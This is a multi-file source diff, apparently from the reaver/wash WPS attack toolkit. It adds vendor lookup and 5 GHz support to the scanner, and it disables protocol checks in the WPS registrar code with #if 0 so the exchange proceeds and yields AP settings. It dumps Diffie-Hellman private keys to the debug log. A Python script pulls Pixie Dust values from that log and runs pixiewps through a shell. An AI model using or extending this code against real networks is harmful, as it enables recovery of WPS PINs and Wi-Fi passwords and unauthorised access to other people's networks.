20 | {"\x00\x50\xf2", "Microsof"} /* Microsoft */ | |
21 | }; | |
22 | ||
23 | #define VENDOR_LIST_SIZE (sizeof(vendors)/sizeof(vendors[0])) | |
24 | ||
25 | if(!oui) return 0; | |
26 | ||
27 | int i; | |
28 | for (i = 0; i < VENDOR_LIST_SIZE; i++) | |
29 | if (!memcmp(oui, vendors[i].id, 3)) | |
30 | return (void*) vendors[i].name; | |
31 | ||
32 | return "Unknown "; | |
33 | ||
34 | } |
0 | #ifndef VENDOR_H | |
1 | #define VENDOR_H | |
2 | ||
3 | char *get_vendor_string(const unsigned char* oui); | |
4 | ||
5 | #endif | |
6 | ||
7 |
14 | 14 | #include "includes.h" |
15 | 15 | |
16 | 16 | #include "common.h" |
17 | ||
18 | #undef CONFIG_DEBUG_SYSLOG | |
19 | #undef CONFIG_DEBUG_FILE | |
17 | 20 | |
18 | 21 | #ifdef CONFIG_DEBUG_SYSLOG |
19 | 22 | #include <syslog.h> |
20 | 20 | * use these for debugging purposes. */ |
21 | 21 | |
22 | 22 | enum { MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR }; |
23 | ||
24 | extern int wpa_debug_level; | |
23 | 25 | |
24 | 26 | #ifdef CONFIG_NO_STDOUT_DEBUG |
25 | 27 |
51 | 51 | return -1; |
52 | 52 | } |
53 | 53 | |
54 | wpa_hexdump_buf_key(MSG_DEBUG, "WPS: DH Private Key", wps->dh_privkey); | |
55 | wpa_hexdump_buf(MSG_DEBUG, "WPS: DH own Public Key", pubkey); | |
56 | ||
54 | 57 | wpabuf_put_be16(msg, ATTR_PUBLIC_KEY); |
55 | 58 | wpabuf_put_be16(msg, wpabuf_len(pubkey)); |
56 | 59 | wpabuf_put_buf(msg, pubkey); |
82 | 82 | return -1; |
83 | 83 | } |
84 | 84 | |
85 | wpa_hexdump_buf_key(MSG_DEBUG, "WPS: DH Private Key", wps->dh_privkey); | |
86 | wpa_hexdump_buf(MSG_DEBUG, "WPS: DH peer Public Key", pubkey); | |
85 | 87 | dh_shared = dh5_derive_shared(wps->dh_ctx, pubkey, wps->dh_privkey); |
86 | 88 | dh5_free(wps->dh_ctx); |
87 | 89 | wps->dh_ctx = NULL; |
2252 | 2252 | if (wps->state != RECV_M5) { |
2253 | 2253 | wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " |
2254 | 2254 | "receiving M5", wps->state); |
2255 | #if 0 | |
2255 | 2256 | wps->state = SEND_WSC_NACK; |
2256 | 2257 | return WPS_CONTINUE; |
2258 | #else | |
2259 | wps->state = RECV_M5; | |
2260 | #endif | |
2257 | 2261 | } |
2258 | 2262 | |
2259 | 2263 | if (wps->pbc && wps->wps->registrar->force_pbc_overlap) { |
2266 | 2270 | |
2267 | 2271 | if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || |
2268 | 2272 | wps_process_authenticator(wps, attr->authenticator, msg)) { |
2273 | #if 0 | |
2269 | 2274 | wps->state = SEND_WSC_NACK; |
2270 | 2275 | return WPS_CONTINUE; |
2276 | #endif | |
2271 | 2277 | } |
2272 | 2278 | |
2273 | 2279 | decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, |
2383 | 2389 | if (wps->state != RECV_M7) { |
2384 | 2390 | wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " |
2385 | 2391 | "receiving M7", wps->state); |
2392 | #if 0 | |
2386 | 2393 | wps->state = SEND_WSC_NACK; |
2387 | 2394 | return WPS_CONTINUE; |
2395 | #else | |
2396 | wps->state = RECV_M7; | |
2397 | #endif | |
2388 | 2398 | } |
2389 | 2399 | |
2390 | 2400 | if (wps->pbc && wps->wps->registrar->force_pbc_overlap) { |
2397 | 2407 | |
2398 | 2408 | if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || |
2399 | 2409 | wps_process_authenticator(wps, attr->authenticator, msg)) { |
2410 | #if 0 | |
2400 | 2411 | wps->state = SEND_WSC_NACK; |
2401 | 2412 | return WPS_CONTINUE; |
2413 | #endif | |
2402 | 2414 | } |
2403 | 2415 | |
2404 | 2416 | decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, |
2414 | 2426 | "attribute"); |
2415 | 2427 | |
2416 | 2428 | /* @@@ One of these fails, but we don't really care. We just want the ap settings */ |
2417 | /* | |
2418 | 2429 | if (wps_parse_msg(decrypted, &eattr) < 0 || |
2419 | 2430 | wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || |
2420 | 2431 | wps_process_e_snonce2(wps, eattr.e_snonce2) || |
2421 | 2432 | wps_process_ap_settings_r(wps, &eattr)) { |
2433 | ||
2434 | #if 0 | |
2422 | 2435 | wpabuf_free(decrypted); |
2423 | 2436 | wps->state = SEND_WSC_NACK; |
2424 | 2437 | return WPS_CONTINUE; |
2425 | } | |
2426 | */ | |
2438 | #endif | |
2439 | } | |
2427 | 2440 | |
2428 | 2441 | if(wps_parse_msg(decrypted, &eattr) >= 0) |
2429 | 2442 | { |
153 | 153 | fprintf(stderr, "\t-D, --daemonize Daemonize reaver\n"); |
154 | 154 | fprintf(stderr, "\t-f, --fixed Disable channel hopping\n"); |
155 | 155 | fprintf(stderr, "\t-5, --5ghz Use 5GHz 802.11 channels\n"); |
156 | fprintf(stderr, "\t-v, --verbose Display non-critical warnings (-vv for more)\n"); | |
156 | fprintf(stderr, "\t-v, --verbose Display non-critical warnings (-vv or -vvv for more)\n"); | |
157 | 157 | fprintf(stderr, "\t-q, --quiet Only display critical messages\n"); |
158 | 158 | fprintf(stderr, "\t-h, --help Show help\n"); |
159 | 159 |
32 | 32 | |
33 | 33 | #include "wpsmon.h" |
34 | 34 | #include "utils/file.h" |
35 | #include "utils/vendor.h" | |
36 | #include "send.h" | |
35 | 37 | |
36 | 38 | int show_all_aps = 0; |
37 | 39 | int json_mode = 0; |
38 | 40 | |
39 | 41 | static struct mac { |
40 | 42 | unsigned char mac[6]; |
43 | unsigned char vendor_oui[1+3]; | |
41 | 44 | unsigned char probes; |
42 | 45 | unsigned char flags; |
43 | 46 | } seen_list[256]; |
83 | 86 | int x = list_insert(bssid); |
84 | 87 | if(x >= 0 && x < 256) seen_list[x].probes++; |
85 | 88 | } |
86 | ||
89 | static void set_ap_vendor(char *bssid) { | |
90 | int x = list_insert(bssid); | |
91 | if(x >= 0 && x < 256) memcpy(seen_list[x].vendor_oui, globule->vendor_oui, sizeof(seen_list[x].vendor_oui)); | |
92 | } | |
93 | static unsigned char *get_ap_vendor(char* bssid) { | |
94 | int x = list_insert(bssid); | |
95 | if(x >= 0 && x < 256 && seen_list[x].vendor_oui[0]) | |
96 | return seen_list[x].vendor_oui+1; | |
97 | return 0; | |
98 | } | |
87 | 99 | int main(int argc, char *argv[]) |
88 | 100 | { |
89 | 101 | int c = 0; |
308 | 320 | act.sa_handler = sigalrm_handler; |
309 | 321 | sigaction (SIGALRM, &act, 0); |
310 | 322 | ualarm(CHANNEL_INTERVAL, CHANNEL_INTERVAL); |
311 | change_channel(1); | |
323 | int startchan = 1; | |
324 | if(get_wifi_band() == AN_BAND) | |
325 | startchan = 34; | |
326 | change_channel(startchan); | |
312 | 327 | } |
313 | 328 | } |
314 | 329 | |
315 | 330 | if(!header_printed) |
316 | 331 | { |
317 | 332 | if(!json_mode) { |
318 | cprintf (INFO, "BSSID Ch dBm WPS Lck ESSID\n"); | |
319 | //cprintf(INFO, "00:11:22:33:44:55 12 -77 1.0 Yes 0123456789abcdef0123456789abcdef\n"); | |
333 | cprintf (INFO, "BSSID Ch dBm WPS Lck Vendor ESSID\n"); | |
334 | //cprintf(INFO, "00:11:22:33:44:55 104 -77 1.0 Yes Bloatcom 0123456789abcdef0123456789abcdef\n"); | |
320 | 335 | cprintf (INFO, "--------------------------------------------------------------------------------\n"); |
321 | 336 | } |
322 | 337 | header_printed = 1; |
369 | 384 | (target != NULL && strcmp(bssid, target) == 0)) |
370 | 385 | { |
371 | 386 | channel = parse_beacon_tags(packet, header->len); |
387 | if(channel == 0) { | |
388 | // It seems 5 GHz APs do not set channel tags. | |
389 | // FIXME: get channel by parsing radiotap header | |
390 | channel = get_channel(); | |
391 | } | |
372 | 392 | rssi = signal_strength(packet, header->len); |
373 | 393 | ssid = (char *) get_ssid(); |
374 | 394 | |
381 | 401 | |
382 | 402 | unsigned fsub_type = frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE); |
383 | 403 | |
384 | if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP) || | |
385 | fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON)) | |
386 | { | |
404 | int is_beacon = fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON); | |
405 | int is_probe_resp = fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); | |
406 | ||
407 | if(is_probe_resp || is_beacon) { | |
387 | 408 | wps_parsed = parse_wps_parameters(packet, header->len, wps); |
388 | } | |
389 | ||
409 | if(is_beacon || !get_ap_vendor(bssid)) set_ap_vendor(bssid); | |
410 | } | |
390 | 411 | if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE)) |
391 | 412 | { |
392 | if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON) && | |
413 | if(is_beacon && | |
393 | 414 | mode == SCAN && |
394 | 415 | !passive && |
395 | 416 | should_probe(bssid)) |
411 | 432 | break; |
412 | 433 | } else lock_display = NO; |
413 | 434 | |
435 | char* vendor = get_vendor_string(get_ap_vendor(bssid)); | |
414 | 436 | if(wps->version > 0) |
415 | cprintf(INFO, "%17s %2d %.2d %d.%d %3s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid); | |
437 | cprintf(INFO, "%17s %3d %.2d %d.%d %3s %8s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", ssid); | |
416 | 438 | else |
417 | cprintf(INFO, "%17s %2d %.2d %s\n", bssid, channel, rssi, ssid); | |
439 | cprintf(INFO, "%17s %3d %.2d %8s %s\n", bssid, channel, rssi, vendor ? vendor : " ", ssid); | |
418 | 440 | } |
419 | 441 | |
420 | 442 | if(probe_sent) |
426 | 448 | * If there was no WPS information, then the AP does not support WPS and we should ignore it from here on. |
427 | 449 | * If this was a probe response, then we've gotten all WPS info we can get from this AP and should ignore it from here on. |
428 | 450 | */ |
429 | if(!wps_parsed || fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP)) | |
451 | if(!wps_parsed || is_probe_resp) | |
430 | 452 | { |
431 | 453 | mark_ap_complete(bssid); |
432 | 454 | if(json_mode && (show_all_aps || wps->version > 0)) { |
433 | char *json_string = wps_data_to_json(bssid, ssid, channel, rssi, wps); | |
434 | printf("%s\n", json_string); | |
455 | char *json_string = wps_data_to_json(bssid, ssid, channel, rssi, get_ap_vendor(bssid), wps); | |
456 | fprintf(get_log_file(), "%s\n", json_string); | |
457 | fflush(get_log_file()); | |
435 | 458 | free(json_string); |
436 | 459 | } |
437 | 460 | } |
459 | 482 | probe = build_wps_probe_request(bssid, essid, &probe_size); |
460 | 483 | if(probe) |
461 | 484 | { |
462 | pcap_inject(get_handle(), probe, probe_size); | |
485 | send_packet(probe, probe_size, 0); | |
463 | 486 | free((void *) probe); |
464 | 487 | } |
465 | 488 | |
491 | 514 | fprintf(stderr, "\t-h, --help Show help\n"); |
492 | 515 | |
493 | 516 | fprintf(stderr, "\nExample:\n"); |
494 | fprintf(stderr, "\t%s -i mon0\n\n", prog); | |
517 | fprintf(stderr, "\t%s -i wlan0mon\n\n", prog); | |
495 | 518 | |
496 | 519 | return; |
497 | 520 | } |
0 | #!/usr/bin/env python2 | |
1 | ||
2 | # this is a filter meant to be used with a logfile containing | |
3 | # debug output from wpa_supplicant or reaver, which extracts | |
4 | # cryptographic values of interest and tries to run pixiewps | |
5 | # with them. input is passed on stdin. | |
6 | ||
7 | import sys, os | |
8 | ||
9 | class Data(): | |
10 | def __init__(self): | |
11 | self.pke = '' | |
12 | self.pkr = '' | |
13 | self.e_hash1 = '' | |
14 | self.e_hash2 = '' | |
15 | self.authkey = '' | |
16 | self.e_nonce = '' | |
17 | self.e_snonce1 = '' | |
18 | self.e_snonce2 = '' | |
19 | self.wpa_psk = '' | |
20 | ||
21 | def __repr__(self): | |
22 | return \ | |
23 | "pke = " + self.pke + "\n" \ | |
24 | "pkr = " + self.pkr + "\n" \ | |
25 | "e_hash1 = " + self.e_hash1 + "\n" \ | |
26 | "e_hash2 = " + self.e_hash2 + "\n" \ | |
27 | "authkey = " + self.authkey + "\n" \ | |
28 | "e_nonce = " + self.e_nonce + "\n" \ | |
29 | "e_snonce1 = " + self.e_snonce1 + "\n" \ | |
30 | "e_snonce2 = " + self.e_snonce2 + "\n" \ | |
31 | "wpa_psk = " + self.wpa_psk + "\n" | |
32 | ||
33 | def process_wpa_supplicant_line(data, line): | |
34 | def get_hex(line): | |
35 | a = line.split(':', 3) | |
36 | return a[2].replace(' ', '') | |
37 | ||
38 | if line.startswith('WPS: '): | |
39 | if 'Enrollee Nonce' in line and 'hexdump' in line: | |
40 | data.e_nonce = get_hex(line) | |
41 | assert(len(data.e_nonce) == 16*2) | |
42 | elif 'DH own Public Key' in line and 'hexdump' in line: | |
43 | data.pkr = get_hex(line) | |
44 | assert(len(data.pkr) == 192*2) | |
45 | elif 'DH peer Public Key' in line and 'hexdump' in line: | |
46 | data.pke = get_hex(line) | |
47 | assert(len(data.pke) == 192*2) | |
48 | elif 'AuthKey' in line and 'hexdump' in line: | |
49 | data.authkey = get_hex(line) | |
50 | assert(len(data.authkey) == 32*2) | |
51 | elif 'E-Hash1' in line and 'hexdump' in line: | |
52 | data.e_hash1 = get_hex(line) | |
53 | assert(len(data.e_hash1) == 32*2) | |
54 | elif 'E-Hash2' in line and 'hexdump' in line: | |
55 | data.e_hash2 = get_hex(line) | |
56 | assert(len(data.e_hash2) == 32*2) | |
57 | elif 'Network Key' in line and 'hexdump' in line: | |
58 | data.wpa_psk = get_hex(line).decode('hex') | |
59 | elif 'E-SNonce1' in line and 'hexdump' in line: | |
60 | data.e_snonce1 = get_hex(line) | |
61 | assert(len(data.e_snonce1) == 16*2) | |
62 | elif 'E-SNonce2' in line and 'hexdump' in line: | |
63 | data.e_snonce2 = get_hex(line) | |
64 | assert(len(data.e_snonce2) == 16*2) | |
65 | ||
66 | def got_all_pixie_data(data): | |
67 | return data.pke and data.pkr and data.e_nonce and data.authkey and data.e_hash1 and data.e_hash2 | |
68 | ||
69 | def get_pixie_cmd(data): | |
70 | return "pixiewps --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s" % \ | |
71 | (data.pke, data.pkr, data.e_hash1, data.e_hash2, data.authkey, data.e_nonce) | |
72 | ||
73 | if __name__ == '__main__': | |
74 | ||
75 | data = Data() | |
76 | ||
77 | while True: | |
78 | line = sys.stdin.readline() | |
79 | if line == '': break | |
80 | process_wpa_supplicant_line(data, line.rstrip('\n')) | |
81 | ||
82 | print data | |
83 | ||
84 | if got_all_pixie_data(data): | |
85 | pixiecmd = get_pixie_cmd(data) | |
86 | ||
87 | print "running %s" % pixiecmd | |
88 | os.execlp('/bin/sh', '/bin/sh', '-c', pixiecmd) | |
89 |